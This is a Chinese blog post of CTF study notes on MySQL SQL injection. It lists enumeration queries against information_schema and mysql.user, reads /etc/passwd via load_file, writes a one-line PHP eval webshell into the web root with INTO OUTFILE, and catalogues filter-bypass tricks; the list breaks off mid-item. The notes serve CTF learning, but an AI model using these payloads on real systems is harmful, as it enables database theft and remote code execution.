mysql注入ctf_CTF考点总结-sql注入

本文详述了SQL注入的相关知识,特别是针对MySQL的CTF挑战中的常见技巧。内容包括利用information_schema获取数据库信息、SQL函数应用、绕过方法、注入分类以及各种报错注入的实现方式,如order by、desc、asc、大整数溢出等。此外,还介绍了如何利用日志写入webshell和UDF提权等高级技巧。
摘要由CSDN通过智能技术生成

整理下sql相关知识,查漏补缺(长期更新)

常用语句及知识

information_schema包含了大量有用的信息,例如下图

2c661dadf52d8b4afcbc2972c37b30fa.png

mysql.user下有所有的用户信息,其中authentication_string为用户密码的hash,如果可以使用可以修改这个值,那么就可以修改任意用户的密码

当前用户:select user()

数据库版本:select version() , select @@version

数据库名:select database()

操作系统:select @@version_compile_os

所有变量:show variables

单个变量:select @@secure_file_priv , show variables like 'secure_file_%'

爆字段数:order by 1... ,group by 1...

查库名:select group_concat(schema_name) from information_schema.schemata

查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'

查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'

读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0)

读文件:select load_file('/etc/passwd')

写文件:select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php' //该处文件名无法使用16进制绕过

常用函数

截取字符串:substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1),mid('abc',1,1)

字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c')

多行拼接:group_concat //eg: select group_concat(user) from mysql.user

时延函数:sleep(5)、benchmark(10000000,md5('123456')) //其他方法get_lock(),笛卡尔,rlike等

编码函数: hex、ord、ascii、char、conv(255,10,16)=FF(2-36进制转换)

布尔条件:if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null、strcmp、regexp、rlike、regexp_like('1','1')...

绕过方法

绕过空格

%20、%09、%0a、%0b、%0c、%0d、%a0、%00、/**/、 /*!select*/ 、()、--%0a(可以1-256都跑一遍)

其中%09需要php环境,%0a为\n

/!select/为mysql独有。常见用法为/!50727select 1/,即当版本号小于等于50727时,执行select 1

8a50e99e090eabc49f3dda28c220fba3.png

绕过单引号

\转义、宽字节%df%27,%bf%27、十六进制绕过

注释方法

/**/、--+、#、;%00、union /*!select*/(mysql独有)

select from union select绕过

select-1,user from mysql.user

select@1,user from mysql.user

select~1,user from mysql.user

select`user`,user from mysql.user

select(1),user from mysql.user

select'1',user from mysql.user

select+1,user from mysql.user

select 1,1e2from mysql.user

select 1,.9from mysql.user

select 1``from mysql.user

select 1''from mysql.user

select 1'123'from mysql.user

select '1'''from mysql.user

select 1""from mysql.user

select "1"""from mysql.user

select 1

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值